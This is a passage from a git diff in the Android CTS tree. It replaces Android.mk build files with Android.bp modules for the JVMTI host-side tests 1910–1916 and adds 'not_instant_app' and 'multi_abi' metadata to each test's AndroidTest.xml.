-LOCAL_MODULE := CtsJvmtiRunTest1910HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1910/AndroidTest.xml
index 123c998..323662a 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1910/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
new file mode 100644
index 0000000..72f1704
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1910DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1910/app/Android.mk
deleted file mode 100644
index 0ea8361a..0000000
--- a/hostsidetests/jvmti/run-tests/test-1910/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1910DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1911/Android.bp b/hostsidetests/jvmti/run-tests/test-1911/Android.bp
new file mode 100644
index 0000000..74f484f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1911/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1911HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1911DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1911/Android.mk b/hostsidetests/jvmti/run-tests/test-1911/Android.mk
deleted file mode 100644
index 91741bb..0000000
--- a/hostsidetests/jvmti/run-tests/test-1911/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1911HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1911/AndroidTest.xml
index aea50bb..98f36dd 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1911/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
new file mode 100644
index 0000000..30648cd
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1911DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1911/app/Android.mk
deleted file mode 100644
index 9ba694d..0000000
--- a/hostsidetests/jvmti/run-tests/test-1911/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1911DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1912/Android.bp b/hostsidetests/jvmti/run-tests/test-1912/Android.bp
new file mode 100644
index 0000000..e39ae46
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1912/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1912HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1912DeviceApp"]
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1912/Android.mk b/hostsidetests/jvmti/run-tests/test-1912/Android.mk
deleted file mode 100644
index 4ed9dc3..0000000
--- a/hostsidetests/jvmti/run-tests/test-1912/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1912HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1912/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1912/AndroidTest.xml
index 2fe4159..b9202e1 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1912/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
new file mode 100644
index 0000000..0029625
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1912DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1912/app/Android.mk
deleted file mode 100644
index cee385b..0000000
--- a/hostsidetests/jvmti/run-tests/test-1912/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1912DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1913/Android.bp b/hostsidetests/jvmti/run-tests/test-1913/Android.bp
new file mode 100644
index 0000000..741c60d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1913/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1913HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1913DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1913/Android.mk b/hostsidetests/jvmti/run-tests/test-1913/Android.mk
deleted file mode 100644
index 977b262..0000000
--- a/hostsidetests/jvmti/run-tests/test-1913/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1913HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1913/AndroidTest.xml
index be5ad38..bb270d3 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1913/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
new file mode 100644
index 0000000..20c656f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1913DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1913/app/Android.mk
deleted file mode 100644
index 06ab144..0000000
--- a/hostsidetests/jvmti/run-tests/test-1913/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1913DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1914/Android.bp b/hostsidetests/jvmti/run-tests/test-1914/Android.bp
new file mode 100644
index 0000000..a585538
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1914/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1914HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1914DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1914/Android.mk b/hostsidetests/jvmti/run-tests/test-1914/Android.mk
deleted file mode 100644
index 014dfb6..0000000
--- a/hostsidetests/jvmti/run-tests/test-1914/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1914HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1914/AndroidTest.xml
index 0740b38..8657601 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1914/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
new file mode 100644
index 0000000..ab381ba
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1914DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1914/app/Android.mk
deleted file mode 100644
index db66d59..0000000
--- a/hostsidetests/jvmti/run-tests/test-1914/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1914DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1915/Android.bp b/hostsidetests/jvmti/run-tests/test-1915/Android.bp
new file mode 100644
index 0000000..aaf75cb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1915/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1915HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1915DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1915/Android.mk b/hostsidetests/jvmti/run-tests/test-1915/Android.mk
deleted file mode 100644
index 3a55a8a..0000000
--- a/hostsidetests/jvmti/run-tests/test-1915/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1915HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1915/AndroidTest.xml
index 13a3b8c..ca42ad0 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1915/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
new file mode 100644
index 0000000..e69cbd8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1915DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1915/app/Android.mk
deleted file mode 100644
index facc2cb..0000000
--- a/hostsidetests/jvmti/run-tests/test-1915/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1915DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1916/Android.bp b/hostsidetests/jvmti/run-tests/test-1916/Android.bp
new file mode 100644
index 0000000..c737491
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1916/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
